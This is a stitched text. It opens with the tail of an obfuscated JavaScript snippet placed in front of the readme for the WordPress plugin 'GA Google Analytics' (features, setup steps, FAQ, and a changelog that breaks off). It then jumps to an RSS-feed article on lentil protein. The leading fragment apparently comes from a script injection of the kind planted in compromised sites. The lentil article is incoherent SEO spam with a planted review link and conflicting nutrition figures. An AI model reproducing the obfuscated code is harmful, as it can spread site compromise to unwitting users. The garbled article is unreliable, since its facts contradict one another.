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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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		<title>How to Make Madras Lentils Recipe A Practical Guide</title>
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					<description><![CDATA[The amino acid profile of lentils is characterized by a high content of lysine, an essential amino acid that is often limited in other plant-based protein sources. Lentils are also a good source of leucine, isoleucine, and valine, which are all important for muscle growth and repair. However, lentils are relatively low in methionine and [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The amino acid profile of lentils is characterized by a high content of lysine, an essential amino acid that is often limited in other plant-based protein sources. Lentils are also a good source of leucine, isoleucine, and valine, which are all important for muscle growth and repair. However, lentils are relatively low in methionine and cysteine, two amino acids that are important for overall health. After reading this blog, it is clear that yellow lentils are a great addition to any diet. Not only are they delicious, but they are also incredibly nutrient-dense. Yellow lentils are packed with protein, fiber, and a variety of vitamins and minerals.</p>
<p>Yellow lentils are a fantastic choice for enhancing my regular meal roster because of their nutritional benefits and ease of preparation. They slot seamlessly into vegan and vegetarian diets and offer a level of versatility that helps with meal prep for both lunch and dinner. The benefits of yellow lentils extend to the digestive system as well. The presence of substantial fiber in yellow lentils helps sustain regular bowel movements and supports the growth of healthy gut bacteria.</p>
<h2>Split Yellow Lentil</h2>
<p>However, there are other great options like yellow, red, and black lentils that offer the same benefits but with varying protein values. Some plant-based foods, such as soybean products, seitan, beans, and lentils contain high amounts of protein. You can also find protein in nuts, whole grains like quinoa and amaranth, and hemp seeds.</p>
<h3>Similar Foods</h3>
<p>This is a classic recipe for yellow lentils that is famous in many Asian regions. It is also one of the best ways to enjoy lentils with a side of flatbread or boiled rice. The yellow lentil is favored in many Asian regions, especially in India because of its tender texture and balanced flavor.</p>
<h2>Are lentils a good source of protein for vegetarians and vegans?</h2>
<p>My yellow lentil cooking improved when I stopped treating them like other lentils. Starting with cold water and bringing everything to a boil together creates better flavor. The gradual temperature increase allows the lentils to release their starches more evenly. Batch-cooking yellow lentils becomes even easier when you have a food processor that can chop, blend, and mix anything in seconds. This powerhouse is my go-to for prepping aromatics, herbs, and fritter mixtures.</p>
<h3>Comparing Protein Content Across Common Lentil Varieties</h3>
<p>And none demand lifestyle overhaul—just one small shift in pantry habit. Lentils are an incredibly versatile ingredient, and can be used in a wide range of dishes, from soups and stews to salads, curries, and casseroles. They can be cooked in a variety of ways, including boiling, steaming, sautéing, and pressure cooking. Some popular lentil-based dishes include lentil soup, lentil curry, lentil salad, and lentil Bolognese. Are there differences in amino acid profiles among various lentil types?</p>
<h3>Health Benefits of Including Lentils in Your Diet</h3>
<p>Iron plays an integral role in the formation of hemoglobin in blood and myoglobin in the muscles, both of which carry oxygen to the cells. That is why fatigue and tiredness are usually the first symptoms people notice when they are low in iron. Regularly including lentils in your diet can help boost your iron intake. When combined with a whole grain, lentils provide the same quality protein as meat!</p>
<h2>Amino Acid Profile of Lentils</h2>
<p>Their gentle taste and easy digestion make them an ideal choice for therapeutic nutrition, gut-friendly diets, and people with sensitive digestion. The processing and preparation of lentils can vary depending on the cultural and culinary tradition. In some parts of the world, lentils are sprouted or fermented to enhance their nutritional value and flavor.</p>
<p>Green lentils contain slightly more fiber (about 11g per 100g dry vs 10g for red) and marginally more protein (25-26% vs 24-25%). Eating lentils may help decrease your overall food intake, which could contribute to weight loss or maintenance. Lentils are very filling and appear to keep blood sugar levels steady (9, 17, 18).</p>
<h3>The Environmental Benefits</h3>
<p>No regulatory certifications (e.g., USDA Organic, Non-GMO Project Verified) affect cooking behavior or nutrient delivery. Quinoa wins on neutral flavor and grain-like versatility—but lacks lentils’ fiber density. Chickpeas and black beans bring distinct flavors and textures—but demand planning. Lentils are a type of legume, which is a class of vegetables that includes beans, peas, and peanuts. They are derived from the seeds of the lentil plant, which is a small, annual legume that is native to the Middle East and Asia. Lentils have been cultivated for thousands of years, with evidence of lentil consumption dating back to ancient civilizations in Egypt, Greece, and Rome.</p>
<h2>Uncovering the Nutritional Powerhouse: What are Lentils Made From?</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="yellow lentils protein" src="https://cdn.mafrservices.com/pim-content/EGY/media/product/620973/1743949646/620973_main.jpg"/></p>
<p>As shown, lentils contain a significant amount of both protein and carbohydrates. However, the carbohydrate content is slightly higher than the protein content, suggesting that lentils may be considered a complex carbohydrate source. Three years later, yellow lentils remain my most-used pantry staple. I buy them in bulk, cook them weekly, and incorporate them into meals in countless ways. They’ve saved money, improved our health, and expanded our culinary repertoire. I created these fritters after several failed attempts at making traditional falafel from scratch.</p>
<p>Choosing one isn’t about ‘right vs wrong’; it’s about matching method to your current capacity. I used to be a teacher, and now making food and writing about it online is my full-time job. I love talking with people about food, and I&#8217;m so <a href="https://unimeal.reviews/">unimeal.reviews</a> glad you&#8217;re here.</p>
<h3>Protein Quality and Amino Acid Profile</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="yellow lentils protein" src="https://www.simplyleb.com/wp-content/uploads/Yellow-Lentil-10-260x286.jpg"/></p>
<p>They are small, disk-shaped seeds that are typically grown in pods and are available in a range of colors, including green, brown, yellow, and red. Lentils are an excellent source of essential nutrients, such as fiber, vitamins, and minerals, making them a nutritious and healthy food choice. They are also relatively inexpensive and can be easily incorporated into a variety of dishes, from soups and stews to salads and curries. Brown lentils, the most widely available type, typically offer a solid protein content, making them a staple in many diets. Red and yellow lentils, often split and used in soups and purees, have comparable protein levels but are favored for their quicker cooking times and digestibility. Using lentils as a substitute for meat can also have health benefits, as they are lower in saturated fat and higher in fiber and nutrients than many types of meat.</p>
<ul>
<li>Trypsin is needed to help break down proteins into amino acids in your body, so inhibiting this enzyme means that protein will not be broken down as efficiently.</li>
<li>Lentils contain antinutrients such as trypsin inhibitors and phytic acid, which reduce the absorption of some nutrients.</li>
<li>A two-ingredient sauce tossed with air-fried crispy tofu, laid on top of a kale caesar salad.</li>
<li>There is limited evidence that sprouted lentils interact with the cardiovascular drug trichlormethiazide.</li>
<li>A ½ cup serving of cooked lentils provides about 12 grams of protein.</li>
<li>They are a staple ingredient in many cuisines, particularly in Asian and Mediterranean cooking, and are prized for their unique texture and flavor.</li>
</ul>
<p>They’re also naturally gluten-free and serve as plant-based protein sources in vegan formulations. A typical serving size of cooked yellow lentils is ½ cup, which contains around 115 calories, 9 grams of protein, and 7.5 grams of fiber. Red lentils, often used in Indian cooking for their tendency to break down and create creamy textures, pack a good amount of protein.</p>
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